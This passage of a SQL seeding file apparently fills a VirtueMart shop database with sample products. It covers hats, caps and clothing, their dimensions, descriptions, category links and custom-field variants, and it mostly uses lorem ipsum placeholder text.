635), (63, 1, 60, '', 200.0000, 'G', 25.0000, 25.0000, 25.0000, 'CM', '', 122, 2, 10, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (64, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (65, 1, 64, '', 0.1000, 'KG', 25.0000, 20.0000, 2.0000, 'CM', '', 77, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', 1.0000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (66, 1, 64, '', 0.0750, 'KG', 0.2000, 0.2000, 0.1500, 'M', '', 152, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (67, 1, 64, '', 150.0000, 'G', 25.0000, 25.0000, 15.0000, 'CM', '', 50, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (68, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (69, 1, 68, '', 350.0000, 'G', NULL, NULL, NULL, 'M', '', 45, 0, 2, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (70, 1, 68, '', 300.0000, 'G', NULL, NULL, NULL, 'M', '', 12, 0, 1, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (71, 1, 68, '', 550.0000, 'G', NULL, NULL, NULL, 'M', '', 15, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (72, 1, 68, '', 200.0000, 'G', NULL, NULL, NULL, 'M', '', 45, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 4, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (73, 1, 68, '', 250.0000, 'G', NULL, NULL, NULL, 'M', '', 54, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 5, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635); INSERT IGNORE INTO `#__virtuemart_products_XLANG` (`virtuemart_product_id`, `product_s_desc`, `product_desc`, `product_name`, `metadesc`, `metakey`, `customtitle`, `slug`) VALUES (1, 'This is a default product.', '

Default product with standart settings no customfields. You can set:

\r\n

Tab Product Information
- General: Published, On Featured, Product SKU, Product Name, Produkt alias, URL,
- Assignation:Manufacturer, Product Categories, Shopper Groups, Type of Product detail page
- Product pricing: Cost price, Base price, Final price, Override, and priceranges dependant on Shopper group.
- You can add Child products here also.

\r\n

Tab Product Description
- Description, Short descriptionm Meta information

\r\n

Tab Product Status
- Stock amount, Low Stock notification, Minimum and maximum purchase quantity, Availability Date + image
- Booked, ordered products amount, Quantity Steps
- Also it is possible to send email to shopper who bought this product.

\r\n

Tab Dimension and Weight
- Lenght, Width, Height, Weight, Packing, and Units in Box

\r\n

Tab Product images
- Use already uploaded images
- Set image information
- Upload new image
- manage thumbnail

\r\n

Tab Custom Fields
- Set related Categories & Products
- Select customfields

\r\n

 

\r\n

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

', 'Default product', '', '', '', 'default-product'), (2, 'It\'s a free Product!', '

This product shows how a free product is set up. At least let price empty. The shopper can purchase without beeing charged. In settings you decide if an invoice will be created for free products. In all cases the shopper needs to checkout.

\r\n

It can be used e.g. if you want to offer catalogue or merchandise products.

', 'Free product', '', '', '', 'free-product'), (3, 'Default product with customfield string.', '

This is a default product with standart settings and a customfield type string. You can set:
- Title (text)
- Show title (select)
- Published (select)
- Select parent customfield (for building a pattern of multiple customfields at once) (select)
- Cart Attribut (select)
- Description (text)
- Default (text)
- Tooltip (text)
- Layout position
- Admin only (select)
- Is a list (select)
- Hidden (select)

', 'Product w/customfield string', '', '', '', 'product-w-customfield-string'), (4, 'This is a default product with customfield textarea.', '

Default product with one customfield textarea you see this customfield content below.

\r\n

You can use customfield textarea to add further informating apart from product description.

\r\n

 

', 'Product w/customfield textarea', '', '', '', 'product-w-customfield-textarea'), (5, 'This is a default product with standart settings and a customfield type parent.', '

You can set use customfield type parent to bind multiple child customfields into a parental bundle.

For example for books, you may wish to always give the following description:

\r\n

Reading level: Ages 9-12
Hardcover: 224 pages
Publisher: Amulet Books (November 15, 2011)
Language: English
ISBN-10: 1419702238
ISBN-13: 978-1419702235

\r\n

Therefore bind multiple customfields e.g. string into a parent customfield to use it as a pattern.

', 'Product w/customfield parent', '', '', '', 'product-w-customfield-parent'), (6, 'Default product with cart variants modifies price.', '

Custom Field with Cart Attribute allows you to add some options to a product that can modify the product price. For example, you may wish to sell a book, or the downladable version of it. And the price is different in both case.

In this case you can select different variants. Default, Variant A,B, or C. The price will be modified by selection. In VM configuration you can also select either tax should be applied to cart variant in customfield.

', 'Product w/cart variant', '', '', '', 'product-w-cart-variant'), (7, 'Product with child variant; parent ordable', '

This product will explain the usage of customfield generic (dynamic) child variant. The base product is ordable in this case.

\r\n

Consider you sell products in different color settings: you want to change the color of the product by selecting a color variant.
Therefore dynamic child variants can be used to allow you different description, images, or product status for every variant of your base product.

Set up a new product, set price, add child products. Add created customfield generic child variant.
The child products are assigned to another unpublished category as the parent product for calculation or llike in this case to no category.
Tick the checkboxes Display parent as option.

', 'Product w/child variant', '', '', '', 'product-w-child-variant'), (8, '', '', 'child variant 1', '', '', '', 'child-variant-1'), (9, '', '', 'child variant 2', '', '', '', 'child-variant-2'), (10, '', '', 'child variant 3', '', '', '', 'child-variant-3'), (11, 'Product with child variant; parent not ordable', '

This product will explain the usage of customfield generic (dynamic) child variant. The base product is not ordable in this case.

\r\n

Consider you sell products in different color settings: you want to change the color of the product by selecting a color variant.
Therefore dynamic child variants can be used to allow you different description, images, or product status for every variant of your base product.

Set up a new product, set price, add child products. Add created customfield generic child variant.
The child products are assigned to another category as the parent product for caclulation or like in this case to no category.
Do not tick the checkbox Display parent as option in this case.

', 'Product w/child variant parent not ordable', '', '', '', 'product-w-child-variant-parent-not-ordable'), (12, '', '', 'Child variant 1 15€', '', '', '', 'child-variant-1-15'), (13, '', '', 'Child variant 1 20€', '', '', '', 'child-variant-1-20'), (14, '', '', 'Child variant 1 25€', '', '', '', 'child-variant-1-25'), (15, 'Default product with child variant and cart variant.', '

This product is a showcase to present the combination of product price, child variant price, and cart variant price.

', 'Product w/child variant w/cart variant', '', '', '', 'product-w-child-variant-w-cart-variant'), (16, '', '', 'child variant w/cart variant 1', '', '', '', 'child-variant-w-cart-variant-1'), (17, '', '', 'child variant w/cart variant 2', '', '', '', 'child-variant-w-cart-variant-2'), (18, '', '', 'child variant w/cart variant 3', '', '', '', 'child-variant-w-cart-variant-3'), (19, 'Showcase for pattern usage.', '

This product is used as a pattern for other products. It is a parent product and has multiple child products.
You can set several settings (content, customfields) for parent product. Childs of this parent will basically have the same settings as the parent automatically inherite until you overwrite.

\r\n

In this case product price is set in pattern.

', 'Basic PATTERN', '', '', '', 'basic-pattern'), (20, 'This is a basic child of Product PATTERN.', '

This is a basic child of Product PATTERN. You see inherited settings, only Product description is overwritten.

In case the child product should be available by browsing set the product category.

', 'Basic child', '', '', '', 'basic-pattern197'), (21, 'This is a basic child of Product PATTERN. You see inherited settings.', '

This is a basic child of Product PATTERN. You see inherited settings.
Overwritten are following setting/content:
- Product desc
- Product price

In case the child product should be available by browsing set the product category.

', 'Basic price overwrite', '', '', '', 'basic-price-overwrite'), (22, 'Multiple overwrites short desc.', '

This is a child of Product PATTERN. Most inherited settings are overwritten:
- Short desc
- Product desc
- Product price
- Product Images
- Product Dimension and Weight (Units in Box)

In case the child product should be available by browsing set the product category.

', 'Basic multiple overwrites', '', '', '', 'basic-multiple-overwrites'), (23, 'Showcase advanced pattern usage.', '

This product is used as a pattern for other products. It is a parent product and has multiple child products.
You can set several settings (content, customfields) for parent product. Childs of this parent will basically have the same settings as the parent automatically inherite until you overwrite.

\r\n

One of the hugest advantages is stock control ability.

\r\n

 

', 'Advanced PATTERN', '', '', '', 'advanced-pattern'), (24, '', '

This is a basic child of Product PATTERN. You see inherited settings, only Product description is overwritten.

In case the child product should be available by browsing set the product category.

', 'Advanced child', '', '', '', 'advanced-child'), (25, '', '

This is a advanced child of Advanced PATTERN. You see inherited settings.
Overwritten are following setting/content:
- Product desc
- Product price

In case the child product should be available by browsing set the product category.

', 'Advanced price overwrite', '', '', '', 'advanced-price-overwrite'), (26, 'Advanced multiple overrides', '

This is a child of Product PATTERN. Most inherited settings are overwritten:
- Short desc
- Product desc
- Product price
- Product Images
- Product Dimension and Weight (Units in Box)
- Customfields

In case the child product should be available by browsing set the product category.

', 'Advanced multiple overrides', '', '', '', 'advanced-multiple-overrides'), (27, '', '', '3- Product 1st PATTERN', '', '', '', '3-product-1st-pattern'), (28, '', '', '2- 1st pattern CHILD 1', '', '', '', '2--1st-pattern-child-1'), (29, '', '', '7- 1st pattern CHILD 2', '', '', '', '7-1st-pattern-child-2'), (30, '', '', '5- 1st pattern CHILD 3', '', '', '', '5-1st-pattern-child-3'), (31, '', '', '4- 1st pattern CHILD 4', '', '', '', '4-1st-pattern-child-4'), (32, '', '', '1- 1st pattern CHILD 5', '', '', '', '1--1st-pattern-child-5'), (33, '', '', '32- 1st pattern CHILD 6', '', '', '', '32-1st-pattern-child-6'), (34, '', '', '25- 1st pattern CHILD 7', '', '', '', '25-1st-pattern-child-7'), (35, '', '', '24- 1st pattern CHILD 8', '', '', '', '24-1st-pattern-child-8'), (36, '', '', '27- 1st pattern CHILD 9', '', '', '', '27-1st-pattern-child-9'), (37, '', '', '28- 1st pattern CHILD 10', '', '', '', '28-1st-pattern-child-10'), (38, '', '', '8- Product 2st PATTERN', '', '', '', '8-product-2st-pattern'), (39, '', '', '6- 2nd pattern CHILD 1', '', '', '', '6--2nd-pattern-child-1'), (40, '', '', '15- 2nd pattern CHILD 2', '', '', '', '15-2nd-pattern-child-2'), (41, '', '', '30- 2nd pattern CHILD 3', '', '', '', '30-2nd-pattern-child-3'), (42, '', '', '17- 2nd pattern CHILD 4', '', '', '', '17-2nd-pattern-child-4'), (43, '', '', '16- 2nd pattern CHILD 5', '', '', '', '16-2nd-pattern-child-5'), (44, '', '', '22- 2nd pattern CHILD 6', '', '', '', '22-2nd-pattern-child-6'), (45, '', '', '23- 2nd pattern CHILD 7', '', '', '', '23-2nd-pattern-child-7'), (46, '', '', '21- 2nd pattern CHILD 8', '', '', '', '21-2nd-pattern-child-8'), (47, '', '', '18- 2nd pattern CHILD 9', '', '', '', '18-2nd-pattern-child-9'), (48, '', '', '33- 2nd pattern CHILD 10', '', '', '', '33-2nd-pattern-child-10'), (49, '', '', '20- Product 3rd PATTERN', '', '', '', '20-product-3rd-pattern'), (50, '', '', '19- 3rd pattern child 1', '', '', '', '19--3rd-pattern-child-1'), (51, '', '', '14- 3rd pattern child 2', '', '', '', '14--3rd-pattern-child-2'), (52, '', '', '13- 3rd pattern child 3', '', '', '', '13--3rd-pattern-child-3'), (53, '', '', '11- 3rd pattern child 4', '', '', '', '11--3rd-pattern-child-4'), (54, '', '', '26- 3rd pattern child 5', '', '', '', '26-3rd-pattern-child-5'), (55, '', '', '9- 3rd pattern child 6', '', '', '', '9--3rd-pattern-child-6'), (56, '', '', '31- 3rd pattern child 7', '', '', '', '31-3rd-pattern-child-7'), (57, '', '', '10- 3rd pattern child 8', '', '', '', '10--3rd-pattern-child-8'), (58, '', '', '29- 3rd pattern child 9', '', '', '', '29-3rd-pattern-child-9'), (59, '', '', '12- 3rd pattern child 10', '', '', '', '12--3rd-pattern-child-10'), (60, '', '', 'PATTERN Hats', '', '', '', 'pattern-hats'), (61, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

', 'Classic Hat', '', '', '', 'classic-hat'), (62, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

', 'Cowboy Hat', '', '', '', 'cowboy-hat'), (63, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

', 'Derby Hat', '', '', '', 'derby-hat'), (64, '', '', 'PATTERN Caps', '', '', '', 'pattern-caps'), (65, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr.', '

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

', 'Santa Cap', '', '', '', 'santa-cap'), (66, 'Base lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

', 'Baseball Cap', '', '', '', 'baseball-cap'), (67, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

', 'Marine Cap', '', '', '', 'marine-cap'), (68, 'Pattern for Clothing. For showcase reason this pattern is NOT unpublished.', '

For showcase reason this pattern is NOT unpublished.

', 'PATTERN Clothing', '', '', '', 'pattern-outer-garments'), (69, 'Jumper dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '', 'Jumper', '', '', '', 'jumper'), (70, 'Wide dress dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

Wide dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

', 'Wide dress', '', '', '', 'wide-dress'), (71, 'Classic jacket ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

Classic Jacket ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

', 'Classic Jacket', '', '', '', 'classic-jacket'), (72, 'Poncho ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

Poncho ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

', 'Poncho', '', '', '', 'poncho'), (73, 'Dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

Dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

', 'Dress', '', '', '', 'dress'); INSERT IGNORE INTO `#__virtuemart_product_categories` (`id`, `virtuemart_product_id`, `virtuemart_category_id`, `ordering`) VALUES (1, 1, 1, 1), (2, 2, 1, 2), (3, 3, 1, 3), (4, 4, 1, 4), (5, 5, 1, 5), (6, 6, 1, 6), (7, 7, 1, 7), (8, 11, 1, 8), (9, 15, 1, 9), (13, 21, 2, 3), (11, 20, 2, 2), (12, 19, 2, 1), (14, 22, 2, 4), (15, 23, 2, 5), (16, 24, 2, 6), (17, 25, 2, 7), (20, 27, 3, 3), (19, 26, 2, 8), (21, 28, 3, 2), (22, 36, 3, 27), (23, 35, 3, 24), (24, 34, 3, 25), (25, 33, 3, 32), (26, 32, 3, 1), (27, 31, 3, 4), (28, 30, 3, 5), (29, 29, 3, 7), (30, 37, 3, 28), (31, 38, 3, 8), (32, 39, 3, 6), (33, 47, 3, 18), (34, 46, 3, 21), (35, 45, 3, 23), (36, 44, 3, 22), (37, 43, 3, 16), (38, 42, 3, 17), (39, 41, 3, 30), (40, 40, 3, 15), (41, 48, 3, 33), (42, 49, 3, 20), (43, 50, 3, 19), (44, 58, 3, 29), (45, 57, 3, 10), (46, 56, 3, 31), (47, 55, 3, 9), (48, 54, 3, 26), (49, 53, 3, 11), (50, 52, 3, 13), (51, 51, 3, 14), (52, 59, 3, 12), (53, 60, 5, 1), (54, 61, 5, 2), (55, 62, 5, 3), (56, 63, 5, 4), (57, 64, 6, 1), (58, 65, 6, 2), (59, 66, 6, 3), (60, 67, 6, 4), (61, 68, 7, 1), (62, 70, 7, 3), (63, 70, 9, 1), (64, 69, 7, 2), (65, 69, 8, 1), (66, 71, 7, 4), (67, 71, 8, 2), (68, 72, 7, 5), (69, 72, 9, 2), (70, 72, 8, 3), (71, 73, 7, 6), (72, 73, 9, 3), (73, 63, 4, 4), (74, 62, 4, 3), (75, 61, 4, 2), (76, 60, 4, 1), (77, 67, 4, 8), (78, 66, 4, 7), (79, 65, 4, 6), (80, 64, 4, 5); INSERT IGNORE INTO `#__virtuemart_product_customfields` (`virtuemart_customfield_id`, `virtuemart_product_id`, `virtuemart_custom_id`, `custom_value`, `custom_price`, `custom_param`, `published`, `ordering`) VALUES (1, 3, 3, 'This is the content of the customfield string.', NULL, '', 0, 0), (2, 4, 4, 'Default product with this customfield textarea.

\r\n\r\nLorem ipsum dolor sit amet, set clita kasd gubergren, no sea takimata sanctus est dolor sit amet consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat.

\r\n\r\nAt vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

\r\n', NULL, '', 0, 1), (3, 5, 5, '', NULL, '', 0, 0), (4, 5, 6, 'Customfield Child string 1 content', NULL, '', 0, 1), (5, 5, 7, 'Customfield ChildCustomfield Child string 2 content 2: string content', NULL, '', 0, 2), (6, 5, 8, '
\r\nCustomfield Textarea Child content
\r\n>> This three customfields are assigned by adding Customfield Parent.
', NULL, '', 0, 3), (7, 6, 9, '(default)', NULL, '', 0, 0), (8, 6, 9, 'Variant A', 2.00000, '', 0, 1), (9, 6, 9, 'Variant B', 5.00000, '', 0, 2), (10, 6, 9, 'Variant C', 10.00000, '', 0, 3), (11, 7, 10, 'product_sku', NULL, 'withParent="1"|parentOrderable="1"|', 0, 0), (12, 11, 10, 'product_sku', NULL, 'withParent="1"|parentOrderable="0"|', 0, 0), (13, 15, 1, '6', NULL, '', 0, 0), (14, 15, 1, '7', NULL, '', 0, 1), (15, 15, 10, 'product_sku', NULL, 'withParent="1"|parentOrderable="1"|', 0, 0), (16, 15, 9, '(default)', NULL, '', 0, 1), (17, 15, 9, 'Variante A', 10.00000, '', 0, 2), (18, 15, 9, 'Variante B', 20.00000, '', 0, 3), (19, 15, 9, 'Variante C', 30.00000, '', 0, 4), (20, 23, 5, '', NULL, '', 0, 0), (21, 23, 6, 'Customfield string 1: Child content', NULL, '', 0, 1), (22, 23, 7, 'Customfield string 2: Child content', NULL, '', 0, 2), (23, 23, 8, '
\r\nAdvanced PATTERN content
\r\n>> This three customfields are assigned by adding Customfields Parent.
', NULL, '', 0, 3), (24, 26, 5, '', NULL, '', 0, 0), (25, 26, 6, 'Advanced multiple overwrite', NULL, '', 0, 1), (26, 26, 7, 'Advanced multiple overwrite', NULL, '', 0, 2), (27, 26, 8, '>> Advanced multiple overwrite', NULL, '', 0, 3), (28, 61, 1, '62', NULL, '', 0, 0), (29, 61, 1, '63', NULL, '', 0, 1), (30, 62, 1, '63', NULL, '', 0, 0), (31, 62, 1, '61', NULL, '', 0, 1), (32, 63, 1, '62', NULL, '', 0, 0), (33, 63, 1, '61', NULL, '', 0, 1), (44, 64, 13, 'Details: ', NULL, '', 0, 5), (43, 64, 11, '', NULL, '', 0, 4), (41, 64, 12, 'M-L', 1.00000, '', 0, 2), (40, 64, 12, 'S-M', NULL, '', 0, 1), (46, 65, 12, 'S', NULL, '', 0, 1), (42, 64, 12, 'L-XL', 2.00000, '', 0, 3), (45, 64, 14, 'Components: ', NULL, '', 0, 6), (47, 65, 12, 'M', 1.00000, '', 0, 2), (48, 65, 12, 'L', 3.00000, '', 0, 3), (49, 65, 11, '', NULL, '', 0, 4), (50, 65, 13, 'Extra fluffy cap your Santa will be amused', NULL, '', 0, 5), (51, 65, 14, '100% Synthetic Deerimitation', NULL, '', 0, 6), (52, 66, 12, 'S', NULL, '', 0, 1), (53, 66, 12, 'M', 3.00000, '', 0, 2), (54, 66, 12, 'L', 5.00000, '', 0, 3), (55, 66, 11, '', NULL, '', 0, 4), (56, 66, 13, 'The players choice!', NULL, '', 0, 5), (57, 66, 14, '100% Cotton', NULL, '', 0, 6), (58, 66, 1, '65', NULL, '', 0, 0), (59, 66, 1, '67', NULL, '', 0, 1), (60, 65, 1, '66', NULL, '', 0, 0), (61, 65, 1, '67', NULL, '', 0, 1), (62, 67, 12, 'S-M', NULL, '', 0, 1), (63, 67, 12, 'M-L', 1.00000, '', 0, 2), (64, 67, 12, 'L-XL', 2.00000, '', 0, 3), (65, 67, 11, '', NULL, '', 0, 4), (66, 67, 13, 'Your freetime and leisure heads friend', NULL, '', 0, 5), (67, 67, 14, '100% Cotton', NULL, '', 0, 6), (68, 67, 1, '65', NULL, '', 0, 0), (69, 67, 1, '66', NULL, '', 0, 1), (70, 68, 15, 'Twill', NULL, '', 0, 0), (71, 68, 15, 'Rip-stop', 10.00000, '', 0, 1), (72, 68, 16, 'M', NULL, '', 0, 2), (73, 68, 16, 'L', 10.00000, '', 0, 3), (74, 68, 17, '', NULL, '', 0, 4), (75, 68, 18, '100% natural wool', NULL, '', 0, 5), (76, 68, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (77, 69, 16, 'M-L', NULL, '', 0, 2), (78, 69, 16, 'L-XL', 15.00000, '', 0, 3), (79, 69, 17, '', NULL, '', 0, 4), (80, 69, 18, '100% Cotton', NULL, '', 0, 5), (81, 69, 19, 'Jumper ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (82, 70, 15, 'Fine', NULL, '', 0, 0), (83, 70, 15, 'Extra fine', 100.00000, '', 0, 1), (84, 70, 16, 'S-M', NULL, '', 0, 2), (85, 70, 16, 'M-L', 50.00000, '', 0, 3), (86, 70, 17, '', NULL, '', 0, 4), (87, 70, 18, '100% Cotton special', NULL, '', 0, 5), (88, 70, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (89, 71, 15, 'Cord', NULL, '', 0, 0), (90, 71, 15, 'Twill', 100.00000, '', 0, 1), (91, 71, 16, 'M-L', NULL, '', 0, 2), (92, 71, 16, 'L-XL', 100.00000, '', 0, 3), (93, 71, 17, '', NULL, '', 0, 4), (94, 71, 18, '100% Cotton', NULL, '', 0, 5), (95, 71, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (96, 72, 15, 'Rubber', NULL, '', 0, 0), (97, 72, 15, 'Polyethylen', 5.00000, '', 0, 1), (98, 72, 16, 'S-M', NULL, '', 0, 2), (99, 72, 16, 'L-XL', 5.00000, '', 0, 3), (100, 